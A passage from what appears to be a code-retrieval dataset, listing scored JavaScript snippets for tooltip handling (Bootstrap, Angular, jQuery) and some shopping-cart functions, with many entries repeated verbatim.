var text = new GUI.TextBlock()\n text.text = \"Selected:\"\n text.color = \"white\"\n text.fontSize = 12\n \n advancedTexture.addControl(this.console)\n \n advancedTexture.addControl(tooltip)\n return tooltip\n }", "title": "" }, { "docid": "488daee044a07933c49bfd6264039ebc", "score": "0.6193573", "text": "function tooltipTitreOn (pObjet, pEvenement, pTitre, pLibelle)\n{\n domTT_activate (pObjet, pEvenement, 'caption', pTitre, 'content', pLibelle, 'trail', true, 'fade', 'in') ;\n}", "title": "" }, { "docid": "f307fa37e0f5c8f077554a0edec6694b", "score": "0.61797416", "text": "function showTips() {\n tips.css('display','inline-block');\n }", "title": "" }, { "docid": "efccce874676c0df31fe63a71ff5bf4b", "score": "0.6177515", "text": "function tooltips ( ) {\n\n\t\t// Tooltips are added with options.tooltips in original order.\n\t\tvar tips = scope_Handles.map(addTooltip);\n\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\n\n\t\t\tif ( !tips[handleNumber] ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar formattedValue = values[handleNumber];\n\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n\t\t\t}\n\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\n\t\t});\n\t}", "title": "" }, { "docid": "efccce874676c0df31fe63a71ff5bf4b", "score": "0.6177515", "text": "function tooltips ( ) {\n\n\t\t// Tooltips are added with options.tooltips in original order.\n\t\tvar tips = scope_Handles.map(addTooltip);\n\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\n\n\t\t\tif ( !tips[handleNumber] ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar formattedValue = values[handleNumber];\n\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n\t\t\t}\n\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\n\t\t});\n\t}", "title": "" }, { "docid": "efccce874676c0df31fe63a71ff5bf4b", "score": "0.6177515", "text": "function tooltips ( ) {\n\n\t\t// Tooltips are added with options.tooltips in original order.\n\t\tvar tips = scope_Handles.map(addTooltip);\n\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\n\n\t\t\tif ( !tips[handleNumber] ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar formattedValue = values[handleNumber];\n\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n\t\t\t}\n\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\n\t\t});\n\t}", "title": "" }, { "docid": "efccce874676c0df31fe63a71ff5bf4b", "score": "0.6177515", "text": "function tooltips ( ) {\n\n\t\t// Tooltips are added with options.tooltips in original order.\n\t\tvar tips = scope_Handles.map(addTooltip);\n\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\n\n\t\t\tif ( !tips[handleNumber] ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar formattedValue = values[handleNumber];\n\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n\t\t\t}\n\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\n\t\t});\n\t}", "title": "" }, { "docid": "efccce874676c0df31fe63a71ff5bf4b", "score": "0.6177515", "text": "function tooltips ( ) {\n\n\t\t// Tooltips are added with options.tooltips in original order.\n\t\tvar tips = scope_Handles.map(addTooltip);\n\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\n\n\t\t\tif ( !tips[handleNumber] ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar formattedValue = values[handleNumber];\n\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n\t\t\t}\n\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\n\t\t});\n\t}", "title": "" }, { "docid": "efccce874676c0df31fe63a71ff5bf4b", "score": "0.6177515", "text": "function tooltips ( ) {\n\n\t\t// Tooltips are added with options.tooltips in original order.\n\t\tvar tips = scope_Handles.map(addTooltip);\n\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\n\n\t\t\tif ( !tips[handleNumber] ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar formattedValue = values[handleNumber];\n\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n\t\t\t}\n\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\n\t\t});\n\t}", "title": "" }, { "docid": "fa384475f9a4a4ca8213d030cd032a39", "score": "0.6176185", "text": "function addTooltip(){\n $('[data-toggle=\"tooltip\"]').tooltip();\n}", "title": "" }, { "docid": "d88879bf2359ce07fbedbfa73a40d9ee", "score": "0.6175523", "text": "function trx_addons_editor_tooltip(ed) {\n\t//ed.insertContent('&nbsp;<strong>Menu item 1 here!</strong>&nbsp;');\n\tvar selected_text = ed.selection.getContent();\n\tif (selected_text) {\n\t\tvar tooltip = prompt(\"Enter tooltip text\", '');\n\t\tif (tooltip) {\n\t\t\ted.execCommand('mceInsertContent', 0, '<span class=\"trx_addons_tooltip\" data-tooltip=\"' + tooltip.replace(/\"/g, \"''\") + '\">' + selected_text + '</span>');\n\t\t\t//or\n\t\t\t//ed.insertContent('<span class=\"trx_addons_dropcap\">' + selected_text + '</span>');\n\t\t} else {\n\t\t\talert(TRX_ADDONS_EDITOR['error_empty_value']);\n\t\t}\n\t} else {\n\t\talert(TRX_ADDONS_EDITOR['error_text_not_selected']);\n\t}\n}", "title": "" }, { "docid": "d60b87af3865d9c80c8372e0f61f3c88", "score": "0.61730653", "text": "function createTooltips() {\n $('.SKFTooltip').unbind('hover').hover(function () {\n var $self = $(this);\n if (!($self.attr('tipClick') == '1')) {\n _createToolTip($self);\n }\n }, function () {\n if (!permanentTooltip) {\n $('#tooltipMsg').fadeOut(FADE_TIME);\n }\n }).click(function () {\n var $self = $(this);\n if ($self.attr('tipClick') == '1') {\n _createToolTip($self);\n }\n });\n}", "title": "" }, { "docid": "4cfecdf3d0dd7a7f77396cd9ad4641b6", "score": "0.61580724", "text": "function tooltipOn (pObjet, pEvenement, pLibelle)\n{\n domTT_activate (pObjet, pEvenement, 'content', pLibelle, 'trail', true, 'fade', 'in') ;\n}", "title": "" }, { "docid": "ff82873a8c9cab2d94d6d09d35fb8dfc", "score": "0.6157013", "text": "function simple_tooltip(target_items, name){\r\n $(target_items).each(function(i){\r\n $(\"body\").append(\"<div class='\"+name+\"' id='\"+name+i+\"'><p>\"+$(this).attr('title')+\"</p></div>\");\r\n var my_tooltip = $(\"#\"+name+i);\r\n\r\n $(this).removeAttr(\"title\").mouseover(function(){\r\n my_tooltip.css({opacity:0.8, display:\"none\"}).fadeIn(400);\r\n }).mousemove(function(kmouse){\r\n my_tooltip.css({left:kmouse.pageX+15, top:kmouse.pageY+15});\r\n }).mouseout(function(){\r\n my_tooltip.fadeOut(400);\r\n });\r\n });\r\n }", "title": "" }, { "docid": "954f8c5ed3064e5b5db2fe0d2918e4c4", "score": "0.6147393", "text": "function loadTooltipContent(node) {\n var htmlContent = \"<div>\";\n htmlContent += \"<h4>Motif Name: \\\"\" + node.id + \"\\\"<\\/h4>\"\n htmlContent += \"<\\/div>\"\n tooltip.html(htmlContent);\n }", "title": "" }, { "docid": "272c2a27161e7b62a42ed787e0a8f57f", "score": "0.6143102", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\t\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "272c2a27161e7b62a42ed787e0a8f57f", "score": "0.6143102", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\t\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "272c2a27161e7b62a42ed787e0a8f57f", "score": "0.6143102", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\t\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "272c2a27161e7b62a42ed787e0a8f57f", "score": "0.6143102", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\t\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "272c2a27161e7b62a42ed787e0a8f57f", "score": "0.6143102", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\t\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "272c2a27161e7b62a42ed787e0a8f57f", "score": "0.6143102", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\t\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "bd63f90a426656fc724a3ff0f29ce78f", "score": "0.6141392", "text": "function prepareTooltip() {\n ttScope.title = attrs[prefix + 'Title'];\n if (contentParse) {\n ttScope.content = contentParse(scope);\n } else {\n ttScope.content = attrs[ttType];\n }\n\n ttScope.popupClass = attrs[prefix + 'Class'];\n ttScope.placement = angular.isDefined(attrs[prefix + 'Placement']) ? attrs[prefix + 'Placement'] : options.placement;\n var placement = $position.parsePlacement(ttScope.placement);\n lastPlacement = placement[1] ? placement[0] + '-' + placement[1] : placement[0];\n\n var delay = parseInt(attrs[prefix + 'PopupDelay'], 10);\n var closeDelay = parseInt(attrs[prefix + 'PopupCloseDelay'], 10);\n ttScope.popupDelay = !isNaN(delay) ? delay : options.popupDelay;\n ttScope.popupCloseDelay = !isNaN(closeDelay) ? closeDelay : options.popupCloseDelay;\n }", "title": "" }, { "docid": "859a39dc13302baac68d563ffe2b9a0f", "score": "0.61275476", "text": "function prepareTooltip() {\n ttScope.title = attrs[prefix + 'Title'];\n if (contentParse) {\n ttScope.content = contentParse(scope);\n } else {\n ttScope.content = attrs[ttType];\n }\n\n ttScope.popupClass = attrs[prefix + 'Class'];\n ttScope.placement = angular.isDefined(attrs[prefix + 'Placement']) ? attrs[prefix + 'Placement'] : options.placement;\n\n var delay = parseInt(attrs[prefix + 'PopupDelay'], 10);\n var closeDelay = parseInt(attrs[prefix + 'PopupCloseDelay'], 10);\n ttScope.popupDelay = !isNaN(delay) ? delay : options.popupDelay;\n ttScope.popupCloseDelay = !isNaN(closeDelay) ? closeDelay : options.popupCloseDelay;\n }", "title": "" }, { "docid": "859a39dc13302baac68d563ffe2b9a0f", "score": "0.61275476", "text": "function prepareTooltip() {\n ttScope.title = attrs[prefix + 'Title'];\n if (contentParse) {\n ttScope.content = contentParse(scope);\n } else {\n ttScope.content = attrs[ttType];\n }\n\n ttScope.popupClass = attrs[prefix + 'Class'];\n ttScope.placement = angular.isDefined(attrs[prefix + 'Placement']) ? attrs[prefix + 'Placement'] : options.placement;\n\n var delay = parseInt(attrs[prefix + 'PopupDelay'], 10);\n var closeDelay = parseInt(attrs[prefix + 'PopupCloseDelay'], 10);\n ttScope.popupDelay = !isNaN(delay) ? delay : options.popupDelay;\n ttScope.popupCloseDelay = !isNaN(closeDelay) ? closeDelay : options.popupCloseDelay;\n }", "title": "" }, { "docid": "859a39dc13302baac68d563ffe2b9a0f", "score": "0.61275476", "text": "function prepareTooltip() {\n ttScope.title = attrs[prefix + 'Title'];\n if (contentParse) {\n ttScope.content = contentParse(scope);\n } else {\n ttScope.content = attrs[ttType];\n }\n\n ttScope.popupClass = attrs[prefix + 'Class'];\n ttScope.placement = angular.isDefined(attrs[prefix + 'Placement']) ? attrs[prefix + 'Placement'] : options.placement;\n\n var delay = parseInt(attrs[prefix + 'PopupDelay'], 10);\n var closeDelay = parseInt(attrs[prefix + 'PopupCloseDelay'], 10);\n ttScope.popupDelay = !isNaN(delay) ? delay : options.popupDelay;\n ttScope.popupCloseDelay = !isNaN(closeDelay) ? closeDelay : options.popupCloseDelay;\n }", "title": "" }, { "docid": "859a39dc13302baac68d563ffe2b9a0f", "score": "0.61275476", "text": "function prepareTooltip() {\n ttScope.title = attrs[prefix + 'Title'];\n if (contentParse) {\n ttScope.content = contentParse(scope);\n } else {\n ttScope.content = attrs[ttType];\n }\n\n ttScope.popupClass = attrs[prefix + 'Class'];\n ttScope.placement = angular.isDefined(attrs[prefix + 'Placement']) ? attrs[prefix + 'Placement'] : options.placement;\n\n var delay = parseInt(attrs[prefix + 'PopupDelay'], 10);\n var closeDelay = parseInt(attrs[prefix + 'PopupCloseDelay'], 10);\n ttScope.popupDelay = !isNaN(delay) ? delay : options.popupDelay;\n ttScope.popupCloseDelay = !isNaN(closeDelay) ? closeDelay : options.popupCloseDelay;\n }", "title": "" }, { "docid": "c84cdeb150ae9a9b266aee57319a2baa", "score": "0.6126232", "text": "helpTipsControls(game, depth, xyCoord) {\n var xLabel = xyCoord.x + 25;\n var xValue = xLabel + 140;\n var yPos = xyCoord.y + 40;\n\n var labelFill = \"#c1c1c1\";\n var valueFill = \"#fff\";\n\n // ----------\n\n // Left Click\n var label = this.helpTipsAddText(game, \"Left Click\", depth, xLabel, yPos, valueFill, 2);\n var text = this.helpTipsAddText(game, [\n \"[On Servant] Selects Servant\",\n \"[When attacking] Attacks enemy\",\n \"[On empty terrain] Opens menu\",\n ], depth, xValue, yPos, labelFill, 2, 16);\n text.setWordWrapWidth(395);\n yPos += Math.max(label.displayHeight, text.displayHeight);\n yPos += 16;\n\n // Right Click\n label = this.helpTipsAddText(game, \"Right Click\", depth, xLabel, yPos, valueFill, 2);\n text = this.helpTipsAddText(game, [\n \"[Servant selected] Cancels Selection\",\n \"[During turn transition] Skips turn transition animation\",\n ], depth, xValue, yPos, labelFill, 2, 16);\n text.setWordWrapWidth(395);\n yPos += Math.max(label.displayHeight, text.displayHeight);\n yPos += 16;\n\n // WASD\n label = this.helpTipsAddText(game, \"W A S D\", depth, xLabel, yPos, valueFill, 2);\n text = this.helpTipsAddText(game, [\n \"Scrolls battle map\",\n ], depth, xValue, yPos, labelFill, 2, 16);\n text.setWordWrapWidth(395);\n yPos += Math.max(label.displayHeight, text.displayHeight);\n yPos += 16;\n\n // Tab\n label = this.helpTipsAddText(game, \"Tab\", depth, xLabel, yPos, valueFill, 2);\n text = this.helpTipsAddText(game, [\n \"Scroll battle map to next active unit\",\n ], depth, xValue, yPos, labelFill, 2, 16);\n text.setWordWrapWidth(395);\n yPos += Math.max(label.displayHeight, text.displayHeight);\n yPos += 16;\n\n // ----------\n\n this.helpTipsAddSection(game, \"Controls\", depth, xyCoord, yPos);\n }", "title": "" }, { "docid": "45633af26a59701913dee4be34006d93", "score": "0.61184174", "text": "function measureHelp(){\n\t\tvar $circles = $('.size-charts-measure-help-man-circle'),\n\t\t\t$helpTips = $('.size-charts-measure-help-text p');\n\n\t\t// Show Tip\n\t\t$circles.on('mouseenter', function() {\n\t\t\tvar thisId = $(this).attr('id');\n\n\t\t\t$helpTips.removeClass('active');\n\t\t\t$('.' + thisId).addClass('active');\n\t\t});\n\t}", "title": "" }, { "docid": "fcd9026e56a435396533249b1eefcb3e", "score": "0.6116612", "text": "function getTooltip() {\n\t\t\n\t\t// on mouse hover state\n\t\t$(\"abbr, .with-tooltip\").on(\"mouseover\", function() {\n\t\t\n\t\t\tvar title = $(this).attr(\"title\"), position = $(this).position();\n\t\t\t\n\t\t\t$(this).attr(\"title\",\"\").css(\"position\",\"relative\");\n\t\t\t\n\t\t\t// positions\n\t\t\tif ($(this).hasClass(\"top\")) {\n\t\t\t\n\t\t\t\t$(this).before(\"<div class=\\\"tooltip in top\\\"><div class=\\\"tooltip-inner\\\">\"+title+\"</div><div class=\\\"tooltip-arrow\\\"></div></div>\");\n\t\t\t\t$(\".tooltip\").css({\"top\":(position.top - 28)+\"px\", \"left\":position.left+\"px\"});\n\t\t\t\t\n\t\t\t} else if ($(this).hasClass(\"bottom\")) {\n\t\t\t\n\t\t\t\t$(this).after(\"<div class=\\\"tooltip in bottom\\\"><div class=\\\"tooltip-inner\\\">\"+title+\"</div><div class=\\\"tooltip-arrow\\\"></div></div>\");\n\t\t\t\t$(\".tooltip\").css({\"bottom\":(position.bottom + 28)+\"px\", \"left\":position.left+\"px\"});\n\t\t\t\t\n\t\t\t} else if ($(this).hasClass(\"right\")) {\n\t\t\t\n\t\t\t\t$(this).before(\"<div class=\\\"tooltip in right\\\"><div class=\\\"tooltip-inner\\\">\"+title+\"</div><div class=\\\"tooltip-arrow\\\"></div></div>\");\n\t\t\t\t$(\".tooltip\").css({\"top\":position.top+\"px\", \"left\":(position.left + $(this).width())+\"px\"});\n\t\t\t\t\n\t\t\t} else if ($(this).hasClass(\"left\")) {\n\t\t\t\n\t\t\t\t$(this).before(\"<div class=\\\"tooltip in left\\\"><div class=\\\"tooltip-inner\\\">\"+title+\"</div><div class=\\\"tooltip-arrow\\\"></div></div>\");\n\t\t\t\t$(\".tooltip\").css({\"top\":position.top+\"px\", \"left\":(position.left - ($(\".tooltip\").width() + 8))+\"px\"});\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\n\t\t\t\t$(this).before(\"<div class=\\\"tooltip in\\\"><div class=\\\"tooltip-inner\\\">\"+title+\"</div><div class=\\\"tooltip-arrow\\\"></div></div>\");\n\t\t\t\t$(\".tooltip\").css({\"top\":(position.top - 28)+\"px\", \"left\":position.left+\"px\"});\n\t\t\t}\n\t\t\t\n\t\t\t// on mouse out state\n\t\t\t$(\"abbr, .with-tooltip\").on(\"mouseout\", function() {\n\t\t\t\n\t\t\t\t$(this).attr(\"title\",$(\".tooltip.in .tooltip-inner\").html()).css(\"position\",\"static\");\n\t\t\t\t$(\".tooltip\").remove();\n\t\t\t\t\n\t\t\t}); // end mouse out state\n\t\n\t\t}); // end mouse hover state\n\t\t\n\t}", "title": "" }, { "docid": "08b15e2f52cd92c35b1ed913f8a46796", "score": "0.6114982", "text": "function showToolTip(d,i){\n tooltip.classed('showthetooltip', true)\n }", "title": "" }, { "docid": "b1420424a75dbbd79637b94f7ff37cc2", "score": "0.6112996", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "b1420424a75dbbd79637b94f7ff37cc2", "score": "0.6112996", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "b1420424a75dbbd79637b94f7ff37cc2", "score": "0.6112996", "text": "function Plugin(option) {\n\t return this.each(function () {\n\t var $this = $(this)\n\t var data = $this.data('bs.tooltip')\n\t var options = typeof option == 'object' && option\n\n\t if (!data && /destroy|hide/.test(option)) return\n\t if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n\t if (typeof option == 'string') data[option]()\n\t })\n\t }", "title": "" }, { "docid": "dfd91f015ce8fe08598cad85393a7dbb", "score": "0.6109518", "text": "removeTooltips() {\n this._removeTooltips();\n }", "title": "" }, { "docid": "cb68d24d5efcc5c84e83a3427f639768", "score": "0.61081946", "text": "function TriggerTooltip() {\n $('[data-toggle=\"tooltip\"]').tooltip();\n}", "title": "" }, { "docid": "59c7728f3cd33202c9f97774c3cdbfc5", "score": "0.60983354", "text": "get tooltip() {\n return this._tooltip;\n }", "title": "" }, { "docid": "a7cd804f233842f9d11557860a4f6d68", "score": "0.60957146", "text": "function showTooltip(content, event) {\n tt.style('opacity', 1.0)\n .html(content);\n\n updatePosition(event);\n }", "title": "" }, { "docid": "1c55f752827f3a23947807dda5a704fa", "score": "0.60954034", "text": "function ttMouseOver() {\n if (tooltipsOn) {\n $(\"#bodyContent\").append('<div id=\"tfb\" class=\"htt\"></div>');\n $tfb = $(\"#tfb\");\n $(\"#bodyContent span.ajaxttlink\").each(bindTT);\n }\n }", "title": "" }, { "docid": "cedf33b8fd69f1e1e5e409880a8fd90d", "score": "0.6087731", "text": "function updateTooltips() {\n var tooltipNames = ['.ann_span_lexical',\n '.ann_span_informational',\n '.sent',\n '#article-level-button'];\n tooltipNames.forEach(function(name) {\n $(name).on('mouseenter', function() {\n var $this = $(this);\n var tooltip = $(this).find('.tooltiptext');\n var offset = $this.offset();\n tooltip.toggleClass('bottom', offset.top - tooltip.height() < 10);\n });\n });\n}", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "707692eacd6cf691cd7330a5538c5dc6", "score": "0.608251", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip')\n var options = typeof option == 'object' && option\n\n if (!data && option == 'destroy') return\n if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" } ]
07c53ae2f363fa4df5dcd59b0ae1382c
Add selected pizzas to the cart[] and calculate the total cart price.
[ { "docid": "aedfe253dcdb1167ea475d2cdb30a745", "score": "0.59298754", "text": "function addToCart(pizzaName, pizzaPrice) {\n \"use strict\";\n\n cart.push(new Pizza(pizzaName, pizzaPrice));\n cartTotal += pizzaPrice;\n\n createCart();\n}", "title": "" } ]
[ { "docid": "6ec2cdcdcef99d5efe62d1d0b8a5ae25", "score": "0.6625972", "text": "function addSelectedItemToCart() {\n // TODO: suss out the item picked from the select list\n var selectItems = document.getElementById('items');\n var itemSelected = selectItems.options[selectItems.selectedIndex].value;\n//let item =document.getElementById('items');\n // TODO: get the quantity\n var itemQuantity = Number(document.getElementById('quantity').value);\n //let quantity =document.getElementById('quantity');\n // TODO: using those, add one item to the Cart\n\n let itemInCart = false;\n let cartSize = cart.items.length;\n for(let i = 0; i < cartSize; i++){\n if(cart.items[i].product === itemSelected)\n {\n cart.items[i].quantity += itemQuantity;\n itemInCart = true;\n }\n }\n if(!itemInCart){\n cart.addItem(itemSelected, itemQuantity);\n }\n // cart.items.push ({Item : item.value ,Quantity : quantity.value})\n}", "title": "" }, { "docid": "2cfa3250a0b82f149d3efcbb9a9a263c", "score": "0.6597629", "text": "function calcTotalPrice() {\n const totalPrice = $(\"#totalPrice\");\n let productPrice = 0;\n if(selectedProducts.length > 0) {\n selectedProducts.forEach(selectedProduct => {\n let price = selectedProduct.price * selectedProduct.units;\n productPrice += price;\n });\n }\n totalPrice.text('$ ' + productPrice);\n}", "title": "" }, { "docid": "3260283b8a99685a5e8da2cd77b8dfb1", "score": "0.6471824", "text": "getTotal() {\n let addprice = 0;\n for (const price of this.listCart) {\n addprice += price.flavorPrice;\n }\n this.total = addprice.toFixed(2);\n }", "title": "" }, { "docid": "dc196fb1642221c4201ccd0b15a4dd81", "score": "0.6452212", "text": "function addSelectedItemToCart() {\n // TODO: suss out the item picked from the select list\n var selectElement = document.getElementById('items');\n var selectValue = selectElement.value;\n for (var i of Product.allProducts) {\n if (selectValue === i.name) {\n var selectedItem = i;\n }\n }\n // TODO: get the quantity\n var 